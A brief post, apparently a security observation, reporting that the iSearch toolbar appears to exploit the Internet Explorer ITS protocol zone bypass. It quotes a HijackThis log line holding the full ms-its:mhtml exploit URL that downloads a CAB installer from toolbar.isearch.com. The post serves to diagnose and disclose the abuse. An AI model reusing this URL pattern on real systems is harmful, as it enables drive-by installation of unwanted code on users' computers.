toolbar.isearch.com seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {1C78AB3F-A857-482E-80C0-3A1E5238A565} (iSearch Toolbar) - ms-its:mhtml:file://C:\ss.MHT!http://toolbar.isearch.com/install/00003/chm.chm::/files/initial.cab
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